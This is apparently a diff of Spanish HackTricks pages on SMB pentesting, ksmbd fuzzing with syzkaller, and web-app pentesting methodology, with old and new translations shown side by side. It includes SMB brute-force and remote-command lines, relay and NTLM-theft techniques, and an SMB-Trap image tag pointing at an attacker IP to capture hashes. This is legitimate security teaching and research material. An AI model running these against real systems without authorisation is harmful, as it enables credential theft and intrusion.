./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -421,7 +418,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### Superficie de ataque de ksmbd y fuzzing de protocolo SMB2/SMB3 (syzkaller)
### Superficie de ataque de ksmbd y fuzzing del protocolo SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
@ -429,42 +426,42 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce credenciales de usuarios**
**Esto no es recomendable, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos**
**No se recomienda, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Este ataque utiliza el toolkit Responder para **capturar sesiones de autenticación SMB** en una red interna y **reenvíarlas** a una **target machine**. Si la **sesión** de autenticación es exitosa, automáticamente te dará acceso a una **system** **shell**.\
Este ataque utiliza el Responder toolkit para **capture SMB authentication sessions** en una red interna, y **relays** esas sesiones a una **target machine**. Si la autenticación **session is successful**, automáticamente te dará acceso a una **system** **shell**.\
[**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La librería de Windows URLMon.dll intenta automáticamente autenticarse ante el host cuando una página intenta acceder a algún contenido vía SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
La librería de Windows URLMon.dll intenta automáticamente autenticarse con el host cuando una página trata de acceder a algún contenido vía SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
Esto ocurre con las funciones:
This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Que son usadas por algunos navegadores y herramientas (como Skype)
Which are used by some browsers and tools (like Skype)
![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap usando MitMf
### SMBTrap using MitMf
![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
De forma similar a SMB Trapping, plantar archivos maliciosos en un target system (por ejemplo vía SMB) puede provocar un intento de autenticación SMB, permitiendo interceptar el hash NetNTLMv2 con una herramienta como Responder. El hash puede luego ser crackeado offline o usado en un [SMB relay attack](#smb-relay-attack).
De forma similar a SMB Trapping, plantar archivos maliciosos en un sistema objetivo (vía SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede entonces ser crackeado offline o usado en un [SMB relay attack](#smb-relay-attack).
[Ver: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Comandos Automáticos
## Comandos automáticos de HackTricks
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -1,26 +1,26 @@
# Superficie de ataque de ksmbd & SMB2/SMB3 Protocol Fuzzing (syzkaller)
# Superficie de ataque de ksmbd y fuzzing del protocolo SMB2/SMB3 (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Resumen
Esta página abstrae técnicas prácticas para ejercitar y fuzzear el servidor SMB en el kernel de Linux (ksmbd) usando syzkaller. Se centra en ampliar la superficie de ataque del protocolo mediante la configuración, construir un harness stateful capaz de encadenar operaciones SMB2, generar PDUs válidos según la gramática, sesgar mutaciones hacia rutas de código débilmente cubiertas y aprovechar características de syzkaller como focus_areas y ANYBLOB. Mientras que la investigación original enumera CVEs específicos, aquí enfatizamos la metodología reutilizable y fragmentos concretos que puedes adaptar a tus propios entornos.
Esta página abstrae técnicas prácticas para ejercitar y fuzzear el servidor SMB en el kernel de Linux (ksmbd) usando syzkaller. Se centra en ampliar la superficie de ataque del protocolo mediante la configuración, construir un harness stateful capaz de encadenar operaciones SMB2, generar PDUs válidos según la gramática, sesgar las mutaciones hacia rutas de código con cobertura débil y aprovechar características de syzkaller como focus_areas y ANYBLOB. Mientras que la investigación original enumera CVEs específicos, aquí enfatizamos la metodología reutilizable y fragmentos concretos que puedes adaptar a tus propios entornos.
Ámbito objetivo: SMB2/SMB3 sobre TCP. Kerberos y RDMA están intencionalmente fuera de alcance para mantener el harness simple.
Alcance objetivo: SMB2/SMB3 sobre TCP. Kerberos y RDMA quedan intencionalmente fuera de alcance para mantener el harness simple.
---
## Expandir la superficie de ataque de ksmbd mediante la configuración
Por defecto, una configuración mínima de ksmbd deja grandes partes del servidor sin probar. Habilita las siguientes características para llevar al servidor a través de parsers/handlers adicionales y alcanzar rutas de código más profundas:
## Amplía la superficie de ataque de ksmbd mediante la configuración
Por defecto, una configuración mínima de ksmbd deja muchas partes del servidor sin probar. Habilita las siguientes características para forzar al servidor a atravesar parsers/handlers adicionales y alcanzar rutas de código más profundas:
- A nivel global
- Durable handles
- Server multi-channel
- Multi-channel del servidor
- SMB2 leases
- A nivel por-share
- A nivel por share
- Oplocks (activado por defecto)
- VFS objects
- Objetos VFS
Habilitarlas incrementa la ejecución en módulos como:
Habilitar esto incrementa la ejecución en módulos como:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@ -29,27 +29,27 @@ Habilitarlas incrementa la ejecución en módulos como:
- vfs_cache.c (lookup cache)
Notas
- Las opciones exactas dependen del userspace de ksmbd de tu distro (ksmbd-tools). Revisa /etc/ksmbd/ksmbd.conf y las secciones por-share para habilitar durable handles, leases, oplocks y VFS objects.
- Multi-channel y durable handles alteran las máquinas de estado y los lifetimes, frecuentemente haciendo aflorar UAF/refcount/OOB bugs bajo concurrencia.
- Las opciones exactas dependen del userspace ksmbd de tu distro (ksmbd-tools). Revisa /etc/ksmbd/ksmbd.conf y las secciones por share para habilitar durable handles, leases, oplocks y objetos VFS.
- Multi-channel y durable handles alteran las máquinas de estado y las lifetimes, con frecuencia sacando a la superficie UAF/refcount/OOB bugs bajo concurrencia.
---
## Ajustes de autenticación y rate-limiting para fuzzing
SMB3 necesita una sesión válida. Implementar Kerberos en los harnesses añade complejidad, por lo que se prefiere NTLM/guest para fuzzing:
- Permitir guest access y configurar map to guest = bad user para que usuarios desconocidos caigan en GUEST.
- Aceptar NTLMv2 (patch policy si está deshabilitado). Esto mantiene el handshake simple mientras se ejercitan rutas de código de SMB3.
- Parchear las comprobaciones estrictas de credit cuando se experimenta (el endurecimiento post-CVE-2024-50285 hizo más estricta la acreditación de simultaneous-op). Si no, los rate-limits pueden rechazar secuencias fuzzed demasiado pronto.
- Incrementar max connections (p. ej., a 65536) para evitar rechazos tempranos durante fuzzing de alto rendimiento.
- Permitir acceso guest y establecer map to guest = bad user para que usuarios desconocidos caigan en GUEST.
- Aceptar NTLMv2 (parcha la policy si está deshabilitado). Esto mantiene el handshake simple mientras se ejercitan las rutas de código de SMB3.
- Elimina las comprobaciones estrictas de credit cuando experimentes (el hardening posterior para CVE-2024-50285 endureció la contabilización de credit para operaciones simultáneas). De lo contrario, los rate-limits pueden rechazar secuencias fuzzed demasiado pronto.
- Incrementa max connections (p. ej., a 65536) para evitar rechazos tempranos durante fuzzing de alto rendimiento.
Precaución: Estas relajaciones son solo para facilitar el fuzzing. No despliegues con estas configuraciones en producción.
Precaución: Estas relajaciones son solo para facilitar el fuzzing. No desplegues estas configuraciones en producción.
---
## Arnés con estado: extraer recursos y encadenar peticiones
SMB es stateful: muchas peticiones dependen de identificadores devueltos por respuestas previas (SessionId, TreeID, pares FileID). Tu harness debe parsear las respuestas y reutilizar los IDs dentro del mismo programa para alcanzar handlers profundos (por ejemplo, smb2_create → smb2_ioctl → smb2_close).
## Harness con estado: extraer recursos y encadenar solicitudes
SMB es stateful: muchas requests dependen de identificadores devueltos por respuestas previas (SessionId, TreeID, pares FileID). Tu harness debe parsear las respuestas y reutilizar los IDs dentro del mismo programa para alcanzar handlers profundos (p. ej., smb2_create → smb2_ioctl → smb2_close).
Ejemplo de snippet para procesar un buffer de respuesta (omitiendo los +4B de longitud del NetBIOS PDU) y almacenar en caché los IDs:
Ejemplo de snippet para procesar un buffer de respuesta (saltando los +4B de longitud del PDU NetBIOS) y cachear los IDs:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -76,13 +76,13 @@ break;
}
```
Consejos
- Mantén un único proceso fuzzer compartiendo autenticación/estado: mejor estabilidad y cobertura con las tablas globales/de sesión de ksmbd. syzkaller todavía inyecta concurrencia marcando las ops como async y reejecuta internamente.
- Syzkallers experimental reset_acc_state puede restablecer el estado global pero puede provocar una fuerte ralentización. Prefiere la estabilidad y céntrate en el fuzzing en su lugar.
- Mantén un único proceso fuzzer que comparta autenticación/estado: mejor estabilidad y cobertura con las tablas global/session de ksmbd. syzkaller aún inyecta concurrencia marcando ops como async y hace rerun internamente.
- El experimental reset_acc_state de syzkaller puede restablecer el estado global, pero puede introducir una fuerte ralentización. Prefiere la estabilidad y céntrate en fuzzing.
---
## Generación basada en gramática para SMB2 (PDUs válidos)
Convierte las estructuras SMB2 de Microsoft Open Specifications en una gramática para fuzzer para que tu generador produzca PDUs estructuralmente válidos, que lleguen sistemáticamente a los dispatchers y a los IOCTL handlers.
## Generación SMB2 guiada por gramática (PDUs válidos)
Traduce las estructuras SMB2 de Microsoft Open Specifications a una gramática de fuzzer para que tu generador produzca PDUs estructuralmente válidos, que alcancen sistemáticamente los dispatchers y los IOCTL handlers.
Ejemplo (SMB2 IOCTL request):
```
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Este estilo obliga a tamaños/desplazamientos (offsets) correctos de las estructuras y mejora dramáticamente la cobertura frente a la mutación ciega.
Este estilo fuerza tamaños/desplazamientos de estructuras correctos y mejora drásticamente la cobertura frente a la mutación ciega.
---
## Fuzzing dirigido con focus_areas
Usa el focus_areas experimental de syzkaller para asignar mayor peso a funciones/archivos específicos que actualmente tienen cobertura débil. Ejemplo JSON:
## Directed Fuzzing With focus_areas
Utiliza el experimental focus_areas de syzkaller para dar mayor peso a funciones/archivos específicos que actualmente tienen cobertura débil. Ejemplo JSON:
```json
{
"focus_areas": [
@ -141,9 +141,10 @@ sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
sd += b"\xCC" * 64
return bytes(sd)
```
## Superando mesetas de cobertura con ANYBLOB
---
Los anyTypes de syzkaller (ANYBLOB/ANYRES) permiten colapsar estructuras complejas en blobs que mutan de forma genérica. Genera un nuevo corpus a partir de pcaps SMB públicos y convierte payloads en programas de syzkaller que llamen a tu pseudo-syscall (p. ej., syz_ksmbd_send_req):
## Superar mesetas de cobertura con ANYBLOB
Las anyTypes de syzkaller (ANYBLOB/ANYRES) permiten colapsar estructuras complejas en blobs que mutan de forma genérica. Siembra un nuevo corpus a partir de pcaps SMB públicos y convierte los payloads en programas de syzkaller que llamen a tu pseudo-syscall (p. ej., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -166,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Esto acelera la exploración y puede desencadenar inmediatamente UAFs (p. ej., en ksmbd_sessions_deregister) mientras aumenta la cobertura unos pocos puntos porcentuales.
Esto acelera la exploración y puede desencadenar inmediatamente UAFs (p. ej., en ksmbd_sessions_deregister) mientras aumenta la cobertura en unos pocos puntos porcentuales.
---
## Sanitizadores: Más allá de KASAN
- KASAN sigue siendo el detector principal para errores en el heap (UAF/OOB).
- KCSAN a menudo produce falsos positivos o data races de baja gravedad en este objetivo.
- UBSAN/KUBSAN puede detectar errores de límites declarados que KASAN pasa por alto debido a la semántica del índice de arrays. Ejemplo:
- KASAN sigue siendo el detector principal para heap bugs (UAF/OOB).
- KCSAN a menudo produce falsos positivos o data races de baja severidad en este objetivo.
- UBSAN/KUBSAN pueden detectar errores de límites declarados que KASAN pasa por alto debido a la semántica de índices de array. Ejemplo:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -181,38 +182,38 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSANs declared-bounds checks.
Configurar num_subauth = 0 provoca una lectura OOB dentro de la estructura de sub_auth[-1], capturada por las comprobaciones de límites declarados de UBSAN.
---
## Notas sobre rendimiento y paralelismo
- Un único proceso fuzzer (shared auth/state) tiende a ser significativamente más estable para ksmbd y aún así hace aflorar races/UAFs gracias al async executor interno de syzkaller.
- Con múltiples VMs, aún puedes alcanzar cientos de comandos SMB/segundo en total. Es alcanzable una cobertura a nivel de función de ~60% de fs/smb/server y ~70% de smb2pdu.c, aunque la cobertura de transiciones de estado está infrarepresentada por esas métricas.
- Un solo proceso fuzzer (auth/state compartido) suele ser significativamente más estable para ksmbd y aun así revela races/UAFs gracias al ejecutor asíncrono interno de syzkaller.
- Con múltiples VMs aún puedes alcanzar cientos de comandos SMB/segundo en total. Se puede lograr cobertura a nivel de función de ~60% de fs/smb/server y ~70% de smb2pdu.c, aunque la cobertura de transiciones de estado está infrarepresentada por tales métricas.
---
## Lista de comprobación práctica
- Habilitar durable handles, leases, multi-channel, oplocks y VFS objects en ksmbd.
- Permitir guest y map-to-guest; aceptar NTLMv2. Patch out los credit limits y aumentar max connections para la estabilidad del fuzzer.
- Construir un stateful harness que cachee SessionId/TreeID/FileIDs y encadene create → ioctl → close.
- Usar una grammar para SMB2 PDUs para mantener validez estructural.
- Usar focus_areas para sobreponderar funciones con cobertura débil (p.ej., rutas en smbacl.c como smb_check_perm_dacl).
- Sembrar con ANYBLOB de pcaps reales para romper mesetas; empaquetar seeds con syz-db para reutilización.
- Ejecutar con KASAN + UBSAN; triagear cuidadosamente los informes de declared-bounds de UBSAN.
## Lista de verificación práctica
- Habilita durable handles, leases, multi-channel, oplocks y VFS objects en ksmbd.
- Permite guest y map-to-guest; acepta NTLMv2. Quita los credit limits y aumenta max connections para la estabilidad del fuzzer.
- Construye un stateful harness que cachee SessionId/TreeID/FileIDs y encadene create → ioctl → close.
- Usa una gramática para SMB2 PDUs para mantener la validez estructural.
- Usa focus_areas para sobreponderar funciones con cobertura débil (p. ej., rutas en smbacl.c como smb_check_perm_dacl).
- Siembra con ANYBLOB desde pcaps reales para romper mesetas; empaqueta los seeds con syz-db para reutilización.
- Ejecuta con KASAN + UBSAN; realiza triage de los informes declared-bounds de UBSAN con cuidado.
---
## Referencias
- Doyensec ksmbd Fuzzing (Parte 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Cambio en el async executor (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Lectura de fondo: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; notas de syzkaller de Dongliang Mu
- Lectura adicional: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## Información básica
El servicio web es el servicio más **común y amplio** y existen muchos **tipos diferentes de vulnerabilidades**.
El servicio web es el servicio más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.
**Puerto por defecto:** 80 (HTTP), 443 (HTTPS)
**Puerto por defecto:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Guía de API Web
### Guía para Web API
{{#ref}}
@ -26,29 +26,29 @@ web-api-pentesting.md
## Resumen de la metodología
> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web indeterminado dentro del alcance.
> En esta metodología suponemos que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web no determinado dentro del alcance.
- [ ] Comienza por **identificar** las **tecnologías** usadas por el web server. Busca **trucos** para tener en cuenta durante el resto del test si consigues identificar correctamente la tech.
- [ ] ¿Alguna **known vulnerability** de la versión de la tecnología?
- [ ] ¿Usando alguna **well known tech**? ¿Algún **useful trick** para extraer más información?
- [ ] Comienza por **identificar** las **tecnologías** usadas por el servidor web. Busca **trucos** para tener en cuenta durante el resto del test si puedes identificar correctamente la tecnología.
- [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología?
- [ ] ¿Usando alguna **tech bien conocida**? ¿Algún **truco útil** para extraer más información?
- [ ] ¿Algún **specialised scanner** que ejecutar (como wpscan)?
- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o si van a revelar información interesante.
- [ ] Empieza con las **initial checks**: **robots**, **sitemap**, **404** error y **SSL/TLS scan** (si HTTPS).
- [ ] Comienza con **spidering** la página web: es hora de **find** todos los posibles **files, folders** y **parameters being used.** Además, revisa si hay **special findings**.
- [ ] _Nota: cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser spidered._
- [ ] **Directory Brute-Forcing**: Intenta brute forcear todas las carpetas descubiertas buscando nuevos **files** y **directories**.
- [ ] _Nota: cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser Brute-Forced._
- [ ] **Backups checking**: Prueba si puedes encontrar **backups** de **discovered files** añadiendo extensiones de backup comunes.
- [ ] **Brute-Force parameters**: Intenta **find hidden parameters**.
- [ ] Una vez que hayas **identified** todos los posibles **endpoints** que aceptan **user input**, verifica todo tipo de **vulnerabilities** relacionadas con ellos.
- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o si van a encontrar información interesante.
- [ ] Comienza con las **initial checks**: **robots**, **sitemap**, **404** error y **SSL/TLS scan** (si HTTPS).
- [ ] Comienza a **spidear** la página web: Es momento de **encontrar** todos los posibles **files, folders** y **parameters being used.** Además, revisa hallazgos especiales.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de los **files** descubiertos añadiendo extensiones de backup comunes.
- [ ] **Brute-Force parameters**: Intenta **encontrar parámetros ocultos**.
- [ ] Una vez que hayas **identificado** todos los posibles **endpoints** que aceptan **entrada de usuario**, comprueba todo tipo de **vulnerabilidades** relacionadas con ellos.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
## Versión del servidor (¿Vulnerable?)
### Identificar
Check if there are **known vulnerabilities** for the server **version** that is running.\
Los **HTTP headers and cookies of the response** pueden ser muy útiles para **identificar** las **tecnologies** y/o la **version** que se está usando. Un **Nmap scan** puede identificar la versión del servidor, pero también pueden ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -57,7 +57,7 @@ webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Comprobar si hay algún WAF**
### **Comprobar si hay WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -65,7 +65,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
### Trucos de tecnología web
Algunos **trucos** para **encontrar vulnerabilidades** en diferentes bien conocidas **tecnologías** que se estén usando:
Algunos **trucos** para **encontrar vulnerabilidades** en diferentes bien conocidas **tecnologías** que se están usando:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,19 +102,20 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes bien conoci
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Ten en cuenta que el **same domain** puede estar usando **different technologies** en diferentes **ports**, **folders** y **subdomains**._\
Si la web application está usando alguna bien conocida **tech/platform listed before** o **any other**, no olvides **search on the Internet** nuevos trucos (¡y avísame!).
_Ten en cuenta que el **mismo dominio** puede estar usando **diferentes tecnologías** en distintos **puertos**, **carpetas** y **subdominios**._\
Si la aplicación web está usando alguna **tecnología/plataforma** bien conocida listada antes o **cualquier otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).
### Revisión del Source Code
### Source Code Review
Si el **source code** de la aplicación está disponible en **github**, aparte de realizar por **your own a White box test** de la aplicación, hay **some information** que podría ser **useful** para el actual **Black-Box testing**:
Si el **source code** de la aplicación está disponible en **github**, además de realizar por **tu cuenta un White box test** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **Black-Box testing**:
- ¿Existe un archivo **Change-log, Readme o Version** o cualquier cosa con **información de versión accesible** vía web?
- ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)?
- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se usa?
- ¿Se usa alguna **master key** para encriptar algo? ¿Qué **algoritmo** se utiliza?
- ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
- ¿Hay alguna **información interesante en el github** (issues resueltos y no resueltos)? ¿O en el **historial de commits** (tal vez alguna **password introducida en un commit antiguo**)?
- ¿Existe un **Change-log or Readme or Version** file o cualquier cosa con **version info accessible** vía web?
- ¿Cómo y dónde se guardan las **credentials**? ¿Hay algún (¿accessible?) **file** con credentials (usernames or passwords)?
- ¿Los **passwords** están en **plain text**, **encrypted** o qué **hashing algorithm** se usa?
- ¿Usa alguna **master key** para encriptar algo? ¿Qué **algorithm** se usa?
- ¿Puedes **access any of these files** explotando alguna vulnerabilidad?
- ¿Hay alguna **interesting information in the github** (solved and not solved) en **issues**? ¿O en **commit history** (quizá algún **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
@ -136,12 +137,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Escáneres de CMS
Si se utiliza un CMS, no olvides ejecutar un scanner, quizá encuentres algo jugoso:
Si se usa un CMS, no olvides **ejecutar un escáner**, quizá encuentres algo jugoso:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de problemas de seguridad. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web en busca de vulnerabilidades de seguridad. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -149,9 +150,9 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> En este punto ya deberías tener información sobre el servidor web que utiliza el cliente (si se han dado datos) y algunos trucos a tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner.
> En este punto ya deberías tener alguna información sobre el servidor web que usa el cliente (si se proporcionó algún dato) y algunos trucos para tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún scanner.
## Descubrimiento paso a paso de aplicaciones web
## Descubrimiento paso a paso de la aplicación web
> A partir de este punto vamos a empezar a interactuar con la aplicación web.
@ -168,26 +169,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Provocar errores**
Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **revelar información sensible**.
Los servidores web pueden **comportarse de forma inesperada** cuando se les envían datos raros. Esto puede abrir **vulnerabilidades** o **revelar información sensible**.
- Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
- **Añade "\[]", "]]", and "\[["** en **valores de cookie** y **valores de parámetros** para generar errores
- Genera un error dando como entrada **`/~randomthing/%s`** al **final** de la **URL**
- Prueba **distintos verbos HTTP** como PATCH, DEBUG o verbos incorrectos como FAKE
- **Añade "\[]", "]]", y "\[["** en los **valores de cookies** y en los **valores de parámetros** para provocar errores
- Genera un error proporcionando como entrada **`/~randomthing/%s`** al **final** de la **URL**
- Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
#### **Comprueba si puedes subir archivos (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Si encuentras que **WebDav** está **habilitado** pero no tienes permisos suficientes para **subir archivos** en la carpeta raíz intenta:
- **Brute Force** credentials
- **Subir archivos** vía WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
- **Brute Force** credenciales
- **Sube archivos** vía WebDav al **resto** de **las carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
### **Vulnerabilidades SSL/TLS**
- Si la aplicación **no fuerza el uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
- Si la aplicación **envía datos sensibles (contraseñas) usando HTTP**. Entonces es una vulnerabilidad crítica.
- Si la aplicación **no obliga al uso de HTTPS** en ninguna parte, entonces es **vulnerable a MitM**
- Si la aplicación **envía datos sensibles (contraseñas) usando HTTP**, entonces es una vulnerabilidad crítica.
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (en programas de Bug Bounty probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para comprobar **vulnerabilidades** (en programas Bug Bounty probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv** ](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -203,53 +204,53 @@ Información sobre vulnerabilidades SSL/TLS:
### Spidering
Lanza algún tipo de **spider** dentro del web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación testeada. Por tanto, se deben usar crawling y fuentes externas para hallar la mayor cantidad de rutas válidas posible.
Lanza algún tipo de **spider** dentro del sitio web. El objetivo del spider es **encontrar la mayor cantidad de rutas posible** de la aplicación testeada. Por lo tanto, se debe usar web crawling y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com).
